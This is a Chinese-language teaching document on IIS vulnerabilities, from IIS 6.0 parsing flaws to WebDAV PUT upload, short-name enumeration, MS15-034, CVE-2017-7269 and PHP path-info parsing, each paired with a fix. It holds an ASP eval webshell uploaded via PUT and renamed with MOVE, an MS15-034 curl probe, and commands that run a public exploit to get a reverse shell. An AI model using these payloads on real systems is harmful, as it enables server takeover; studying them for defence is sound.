IIS常见漏洞与利用方式教学文档
文档概述
本文档旨在系统性地总结微软IIS (Internet Information Services) Web服务器中存在的常见安全漏洞、其利用原理、具体利用方法以及修复方案。内容基于提供的链接材料进行深度梳理与扩展,侧重于技术细节与实战指导。
1. IIS 6.0 文件名解析漏洞
漏洞原理
IIS 6.0在处理文件路径时存在一个缺陷:当文件名中包含分号(;)时,服务器会错误地将分号后的内容截断,仅使用分号前的部分作为文件扩展名来决定如何处理该文件。
同时,IIS 6.0不仅将.asp文件识别为可执行脚本,还会将扩展名.cer、.cdx、.asa的文件也交由相同的动态链接库(asp.dll)进行解析执行。
利用方法
- 文件上传:攻击者成功上传一个特制文件,例如名为
shell.asp;.jpg的文件。 - 触发执行:直接访问上传文件的URL(如
http://target/shell.asp;.jpg)。 - 漏洞触发:IIS 6.0 将
;后的.jpg截断,最终将shell.asp识别为待执行的文件,从而将 JPG 文件中的 ASP 代码当作服务器脚本执行。
修复方案
- 严格限制上传:禁止上传包含特殊字符(如
;)的文件名。 - 目录权限控制:将文件上传目录的权限设置为“无脚本执行”(Execute Permissions -> None 或 Pure Script)。
- 升级迁移:升级到更高版本的IIS(如IIS 7.5+),该版本已修复此漏洞。
2. IIS 6.0 目录解析漏洞
漏洞原理
此漏洞是文件名解析漏洞的变种。如果网站目录的名称以特定的扩展名结尾(如 .asp, .asa, .cer, .cdx),IIS 6.0 会错误地将该目录下的所有文件都当作对应的脚本文件来解析执行,无论该文件本身的真实扩展名是什么。
利用方法
- 创建恶意目录:利用任何方式(如Web应用漏洞)创建一个名为
evil.asp的文件夹。 - 放置恶意文件:在该目录下上传一个内容为ASP代码的文本文件或图片文件,例如
shell.txt。 - 触发执行:访问
http://target/evil.asp/shell.txt。 - 漏洞触发:IIS 看到路径位于
evil.asp目录下,便会将shell.txt的内容交给asp.dll执行。
修复方案
- 禁用目录创建或严格监控目录命名规则,禁止创建以可疑扩展名结尾的文件夹。
- 升级IIS版本。
3. IIS 6.0 PUT文件上传漏洞
漏洞原理
此漏洞并非IIS本身的设计缺陷,而是不当配置的结果。需要满足两个条件:
- 启用WebDAV:WebDAV (Web Distributed Authoring and Versioning) 扩展被启用,它提供了HTTP方法(如PUT)用于远程文件管理。
- 目录写入权限:网站或特定目录被配置了“写入”权限。
当两者同时具备时,攻击者可以直接使用HTTP的 PUT 方法将文件上传到服务器。
利用方法
- 侦察:使用
OPTIONS方法探测服务器,检查返回头是否包含DAV: 1, 2,这表明WebDAV已启用。 - 上传文件:使用
PUT请求上传一个内容为ASP木马的文本文件。PUT /shell.txt HTTP/1.1 Host: target Content-Type: text/plain Content-Length: 25 <%eval request("cmd")%> - 重命名文件:由于
.txt文件不会被执行,需要利用WebDAV的MOVE或COPY方法将其重命名为.asp文件。MOVE /shell.txt HTTP/1.1 Host: target Destination: http://target/shell.asp - 获取WebShell:如果服务器返回
201 Created,则表示重命名成功。随后即可使用中国菜刀等工具连接shell.asp,获取服务器控制权。
修复方案
- 禁用WebDAV:在“Web服务扩展”中禁用WebDAV。
- 移除写入权限:除非绝对必要,否则永远不要为Web目录分配“写入”权限。
- 使用授权规则:如果必须使用WebDAV,请配置严格的NTFS权限和IIS授权规则,只允许特定用户访问。
4. IIS短文件名枚举漏洞
漏洞原理
为了兼容古老的MS-DOS 8.3文件名格式,NTFS文件系统会为长文件名自动生成一个对应的短文件名(例如 LongFileName.txt 的短文件名可能为 LONGFI~1.TXT)。IIS在接收到包含波浪号(~)的URL请求时,会错误地披露该文件或目录是否存在。攻击者可以利用这种差异进行盲猜,枚举出服务器上的短文件名,从而推断出真实的长文件名,尤其是敏感文件(如 web.config -> WEBCO~1.CON)。
利用方法
- 盲注式探测:通过暴力猜解短文件名的前几个字符。
- 如果请求
http://target/longna~1.*/.aspx返回 404,则表示存在以longna开头的文件或目录。 - 如果返回 400,则表示不存在。
- 如果请求
- 自动化工具:使用自动化脚本或现有工具(如
IIS_shortname_Scanner)来高效地枚举出存在的短文件名。
修复方案
- 升级.NET Framework:升级至 .NET Framework 4.0 或更高版本,可从根本上免疫此漏洞(IIS 7.5+ 默认集成)。
- 禁用NTFS 8.3命名支持:
- 打开注册表编辑器,找到键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem。 - 将
NtfsDisable8dot3NameCreation的值设置为1。 - 注意:此操作仅阻止新文件生成短文件名,已存在的短文件名需要移动或复制后才能消失。
- 打开注册表编辑器,找到键值:
- 应用程序层过滤:在Web应用防火墙(WAF)或URL重写规则中过滤包含波浪号(
~)的请求。
5. HTTP.sys远程代码执行漏洞 (MS15-034)
漏洞原理
该漏洞是Windows内核HTTP协议栈驱动程序 HTTP.sys 中的一个整数溢出漏洞。攻击者通过发送一个特制的HTTP Range 请求头,可以触发缓冲区溢出,最终在内核模式下执行任意代码,导致系统蓝屏崩溃(DoS)或完全控制服务器。
利用方法
- 漏洞检测:使用以下命令或浏览器插件修改请求头,发送恶意
Range头:
如果服务器返回 416 Requested Range Not Satisfiable,则表明目标存在漏洞。如果返回其他代码(如400),则可能不受影响。curl -v http://target/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615" - 漏洞利用:利用Metasploit等框架中的攻击模块,可以尝试实现远程代码执行(RCE)或直接进行拒绝服务攻击(DoS)。
修复方案
- 立即安装官方补丁:这是最根本的解决方案。微软已发布安全更新MS15-034。
- 启用WAF防护:在补丁安装前,立即配置Web应用防火墙(WAF)规则,拦截包含恶意
Range头的请求。
6. CVE-2017-7269 (IIS 6.0 WebDAV RCE)
漏洞原理
这是IIS 6.0的WebDAV组件中的一个缓冲区溢出漏洞。攻击者向服务器发送一个超长的、精心构造的 PROPFIND 请求(WebDAV方法之一),由于程序对请求中的URL长度缺乏正确的边界检查,导致栈缓冲区溢出,从而覆盖函数返回地址,劫持程序执行流程。
利用方法
- 侦察:使用
OPTIONS方法确认WebDAV是否启用(响应头包含DAV: 1, 2)。 - 利用漏洞:使用公开的EXP(漏洞利用代码),发送恶意
PROPFIND请求。git clone https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269 cd iis6-exploit-2017-CVE-2017-7269 python exploit.py <Target IP> <Target Port> <Reverse Shell IP> <Reverse Shell Port> - 获取Shell:成功利用后,攻击者会获得一个返连的Shell,具有与IIS工作进程相同的权限(通常是
NETWORK SERVICE)。
修复方案
- 禁用WebDAV:这是最直接有效的临时缓解措施。
- 安装补丁:微软为Windows Server 2003提供了补丁,应尽快安装。
- 升级系统:Windows Server 2003早已停止支持,必须将系统升级到受支持的版本(如Windows Server 2016/2019/2022)。
7. IIS 7.x 解析漏洞
漏洞原理
此漏洞与PHP的配置选项 cgi.fix_pathinfo 密切相关。当该值设置为 1(默认值)时,PHP CGI会尝试在文件路径中“修复” PATH_INFO 信息。攻击者可以在任何一个已存在的文件(如图片、文本)后面加上 /任意值.php,PHP CGI会沿着路径向前寻找真实存在的文件,并将其内容以PHP代码的形式解析执行。
利用方法
- 上传恶意图片:上传一个包含PHP代码的图片文件(如
evil.jpg),内容为<?php phpinfo(); ?>。 - 触发解析:访问
http://target/evil.jpg/index.php。 - 漏洞触发:IIS+PHP-CGI 看到请求的是
.php文件,但会向前寻找到evil.jpg,并将其中的<?php phpinfo(); ?>当作PHP代码执行。
修复方案
- 修改PHP配置:在
php.ini中将cgi.fix_pathinfo的值设置为0,然后重启PHP-CGI进程。 - 配置处理程序映射:在IIS管理器中,编辑
*.php的处理程序映射(Handler Mapping),点击“请求限制”,取消勾选“仅当请求映射至以下内容时才调用处理程序”选项,确保只有真正的.php文件才会被交给PHP解析。
总结与最佳实践
| 漏洞名称 | 影响版本 | 关键点 | 修复建议 |
|---|---|---|---|
| 文件名解析 | IIS 6.0 | 分号(;)截断文件名解析 |
严格控制上传,禁用目录执行权限,升级 |
| 目录解析 | IIS 6.0 | 特定扩展名目录下的文件被解析 | 禁止创建此类目录,升级 |
| PUT上传 | IIS 6.0 | WebDAV启用 + 写入权限配置不当 | 禁用WebDAV或严格授权,移除不必要的写入权限 |
| 短文件名枚举 | 多数版本 | NTFS 8.3格式名称信息披露 | 升级.NET,禁用NTFS 8.3命名,过滤~ |
| HTTP.sys RCE | IIS 7.5+ | 内核驱动整数溢出 | 立即安装官方补丁,配置WAF |
| CVE-2017-7269 | IIS 6.0 | WebDAV缓冲区溢出 | 禁用WebDAV,安装补丁,升级操作系统 |
| IIS7.x解析 | IIS 7.x | cgi.fix_pathinfo=1 路径处理缺陷 |
设置 cgi.fix_pathinfo=0,正确配置处理程序映射 |
通用安全加固建议:
- 最小权限原则:始终以所需的最小权限运行IIS应用程序池和工作进程。
- 及时更新:保持Windows操作系统和IIS版本处于最新状态,并安装所有安全更新。
- 禁用不必要的功能:关闭不需要的IIS组件(如WebDAV、FTP)、HTTP方法(如PUT, DELETE)和服务扩展。
- 纵深防御:在服务器前部署WAF,用于检测和拦截已知的攻击 payload。